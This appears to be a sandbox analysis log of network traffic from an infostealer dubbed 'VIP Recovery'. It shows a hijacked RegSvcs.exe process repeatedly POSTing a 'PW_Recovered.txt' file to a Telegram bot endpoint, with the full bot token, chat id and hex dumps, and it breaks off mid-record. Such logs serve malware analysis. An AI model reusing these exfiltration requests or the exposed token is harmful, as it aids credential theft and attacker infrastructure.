2024-09-19 10:23:38 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12799,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	61626	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:41 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf15ba97e3e5d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:41 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 31 35 62 61 39 37 65 33 65 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf15ba97e3e5dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:41 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:41 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12800,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	61628	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:42 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf03acab5cb25 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:42 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 30 33 61 63 61 62 35 63 62 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf03acab5cb25Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:42 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:42 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12801,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	61630	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:45 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf2cc95a004ba Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:45 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 32 63 63 39 35 61 30 30 34 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf2cc95a004baContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:46 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:46 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12803,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	61631	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:46 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf0c0ffc60fd2 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:46 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 30 63 30 66 66 63 36 30 66 64 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf0c0ffc60fd2Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:46 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:46 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12804,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	61634	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:49 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf2d6cd89f323 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:49 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 32 64 36 63 64 38 39 66 33 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf2d6cd89f323Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:49 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:49 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12805,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	61636	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:50 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf5228736b7e4 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:50 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 35 32 32 38 37 33 36 62 37 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf5228736b7e4Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:50 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:50 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12806,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	61637	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:50 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf5262a282ce3 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:50 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 35 32 36 32 61 32 38 32 63 65 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf5262a282ce3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:50 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:50 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: 